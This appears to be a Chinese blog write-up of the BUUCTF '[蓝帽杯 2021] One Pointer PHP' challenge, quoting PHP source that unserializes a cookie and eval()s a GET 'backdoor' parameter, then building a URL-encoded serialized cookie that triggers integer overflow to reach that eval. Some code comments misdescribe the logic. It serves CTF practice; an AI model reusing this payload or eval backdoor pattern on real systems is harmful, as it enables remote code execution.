100 ,【8】 buuctf web [蓝帽杯 2021]One Pointer PHP(别看)

进入靶场

没提示,去看源代码。

user.php

php 复制代码
<?php
// 定义一个名为 User 的类,该类可用于表示用户相关信息或执行与用户有关的操作
class User{
    // 声明一个公共属性 $count,可在类的内部和外部直接访问
    // 这个属性可能用于记录与用户相关的某种数量,比如用户的操作次数、用户拥有的物品数量等
    public $count;
}
?>

add_api.php

php 复制代码
<?php
// 包含 "user.php" 文件,该文件中可能定义了 User 类或其他相关代码
// 包含文件后,当前脚本就可以使用该文件中定义的类、函数、变量等
include "user.php";

// 从 $_COOKIE 超全局数组中获取名为 "data" 的 cookie 值,并尝试对其进行反序列化操作
// 反序列化操作会将存储在 cookie 中的序列化对象恢复为 PHP 对象
// 如果反序列化成功,将结果赋值给 $user 变量,并进入 if 语句块
if($user = unserialize($_COOKIE["data"])){
    // 对 $user 对象的 count 属性进行自增操作,然后将 $count 数组的对应索引位置赋值为 1
    // 例如,如果 $user->count 初始值为 1,自增后为 2,那么 $count[2] = 1
    $count[++$user->count] = 1;

    // 这里存在语法错误,正确的应该是 if ($count[] = 1) 这种写法不符合正常逻辑
    // 可能本意是检查某个条件,但这样的赋值操作结果总是为 1(在 PHP 中赋值表达式的值为所赋的值),条件恒为真
    // 暂且按代码逻辑理解,若这个条件成立
    if($count[] = 1){
        // 将 $user 对象的 count 属性再加 1
        $user->count += 1;
        // 将更新后的 $user 对象进行序列化操作,将其转换为字符串形式
        // 然后使用 setcookie 函数将序列化后的字符串存储到名为 "data" 的 cookie 中
        setcookie("data", serialize($user));
    } else {
        // 如果上述条件不成立(实际上由于赋值操作,这里永远不会执行)
        // 使用 eval 函数执行从 GET 请求中获取的名为 "backdoor" 的参数值
        // 这是非常危险的操作,因为用户可以通过 GET 请求传入恶意代码,从而导致任意代码执行漏洞
        eval($_GET["backdoor"]);
    }
} else {
    // 如果反序列化失败,说明 cookie 中存储的数据不是有效的序列化对象或者 cookie 不存在
    // 创建一个新的 User 类的实例
    $user = new User;
    // 将新创建的 $user 对象的 count 属性初始化为 1
    $user->count = 1;
    // 将新创建的 $user 对象进行序列化操作,然后存储到名为 "data" 的 cookie 中
    setcookie("data", serialize($user));
}
?>

如下代码

给与了我们进行任意代码执行漏洞的条件

即设置count为9223372036854775806

php 复制代码
<?php
    class User
    {
        public $count=9223372036854775806;
    }
    echo serialize(new User);
?>
复制代码
O:4:"User":1:{s:5:"count";i:9223372036854775806;} 

忘记进行url编码了

php 复制代码
<?php

class User{
	public $count=9223372036854775806;
}
echo urlencode(serialize(new User()));
?>

cookie 添加为以下内容

data=O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D

大概这样改cookie

到这块就需要蚁剑连接了,我的蚁剑有问题,最近还没好

先帝创业未半而开局崩殂

相关推荐
我真会写代码1 分钟前
Java事务核心原理与实战避坑指南
java·开发语言·数据库
2401_846341655 分钟前
C++动态链接库开发
开发语言·c++·算法
柠檬Leade5 分钟前
IDEA中 java: 程序包lombok不存在 问题解决
java·开发语言·maven·intellij-idea·依赖不存在
小杍随笔9 分钟前
【Rust 语言编程知识与应用:闭包详解】
开发语言·后端·rust
2301_7644413315 分钟前
使用python构建的STAR实验ΛΛ̄自旋关联完整仿真
开发语言·python·算法
共享家952716 分钟前
Java入门( 异常 )
java·开发语言·php
御形封灵18 分钟前
基于canvas的路网编辑交互
开发语言·javascript·交互
xifangge202521 分钟前
Python 爬虫实战:爬取豆瓣电影 Top250 数据并进行可视化分析
开发语言·爬虫·python
SunnyDays101122 分钟前
C# 实战:快速查找并高亮 Word 文档中的文字(普通查找 + 正则表达式)
开发语言·c#
kaoshi100app25 分钟前
本周,河南二建报名公布!
开发语言·人工智能·职场和发展·学习方法